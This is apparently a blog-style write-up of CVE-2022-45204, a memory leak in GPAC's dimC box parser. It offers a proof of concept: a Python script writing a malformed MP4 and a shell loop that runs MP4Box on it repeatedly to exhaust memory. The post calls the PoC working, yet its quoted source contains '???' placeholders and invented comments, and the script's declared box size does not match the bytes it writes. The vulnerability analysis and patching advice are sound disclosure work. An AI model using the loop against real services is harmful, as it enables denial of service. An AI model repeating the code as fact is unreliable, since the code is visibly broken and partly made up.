GPAC, widely used in multimedia processing—think MP4, MPEG, and streaming—powers lots of open-source video playback, encoding, and packaging tools. In November 2022, a memory leak (CVE-2022-45204) was discovered in its bleeding-edge version, specifically GPAC v2.1-DEV-rev428-gcb8ae46c8-master. The root cause? A mistake in how the dimC_box_read function in isomedia/box_code_3gpp.c handles memory. This post breaks it down, with code, analysis, a working PoC, and links to learn more.

Product affected: GPAC (v2.1-DEV-rev428-gcb8ae46c8-master)

- File/Function: isomedia/box_code_3gpp.c, function dimC_box_read

Severity: Generally considered medium but can be higher if attack expandable

A memory leak isn’t just about wasted RAM: in persistent or batch-processing multimedia services, leaking memory on every file or chunk can eventually crash the system.

Where's the Bug? The Code

The issue happens when parsing the "dimC" box (Display Information Container) in 3GPP/MP4 files. Let’s skip to relevant source bits. View the official code on GitHub:

GF_Err dimC_box_read(GF_ISOFile *file, GF_ISOBox *box)
{
    GF_Err e;
    GF_DimCBox *dimc = (GF_DimCBox *) box;
    ...
    // allocate memory for profileData
    dimc->profileData = (char*) gf_malloc(box->size - ???);
    if (!dimc->profileData) return GF_IO_ERR;

    e = gf_isom_box_read_data(file, box, dimc->profileData, box->size - ???);
    if (e) return e;

    // suppose error or early return happens here
    // missing a free(dimc->profileData)
    ...
}


What’s wrong?
If the function bails out after allocating profileData but *before* it can assign or deallocate it properly, the memory sits around, never freed—classic memory leak.

How Can This Be Abused?

If an attacker crafts special/“bad” MP4 or 3GP files with lots of "dimC" boxes (or forces repeated parsing), they can make GPAC keep leaking memory until it uses up all available RAM. If GPAC is used by an automated transcoder or player service, it could knock the service offline by draining system memory ("Denial of Service").

1. Download vulnerable source and build

git clone https://github.com/gpac/gpac.git
cd gpac
git checkout cb8ae46c8
./configure && make -j4

2. Create a minimal MP4 with a malformed dimC box.

You can use Python (for illustration purposes)

with open('leak.mp4','wb') as f:
    # MP4 ftyp box
    f.write(b'\x00\x00\x00\x18ftypisom\x00\x00\x00\x00isomiso2')
    # Malicious dimC box
    f.write(b'\x00\x00\x00\x10dimC' + b'A'*12)  # size=16, type=dimC, dummy payload

3. Run GPAC's mp4box or similar on the file, loop it

while true; do ./bin/gcc/MP4Box -info leak.mp4; done


Now, watch the RAM usage for the process rocket upwards.

Impact in the Real World

- System instability: Batches of files (as in streaming, online video converters) can lead to service crashes.
- Potential vector for DoS: On a shared/multitenant server, a user could upload malicious files, exhausting resources for everyone.

How Was it Fixed?

The official fix in this commit ensures memory is freed before exiting on error.

@@ -495,7 +495,10 @@ GF_Err dimC_box_read(GF_ISOFile *file, GF_ISOBox *box)
-    if (e) return e;
+    if (e) {
+        gf_free(dimc->profileData);
+        return e;
+    }

Update GPAC: Use the latest master or any version after Nov 2022

- Fuzzers: Run fuzzers like afl-fuzz or oss-fuzz on your multimedia stack to catch similar bugs
- System limits: Use resource quotas, sandboxing. Don't let untrusted users directly interact with GPAC services.

References and Credits

- NVD Entry: CVE-2022-45204
- GPAC GitHub Fix Commit
- oss-fuzz GPAC Issues Tracker
- GPAC Project

Conclusion

Memory leaks like CVE-2022-45204 may sound boring compared to "RCE" or "privilege escalation," but in the context of GPAC, they're a big deal—especially in production workflows or cloud systems. A small bug in dimC_box_read can lead to hours of downtime. Patch early, and stay safe!

Have you patched your GPAC? If not, now’s the time.  
*Share this with your video engineering team or sysadmin—you'll save them the headache of a crashed server tomorrow!*

Timeline

Published on: 11/29/2022 04:15:00 UTC
Last modified on: 05/05/2023 20:00:00 UTC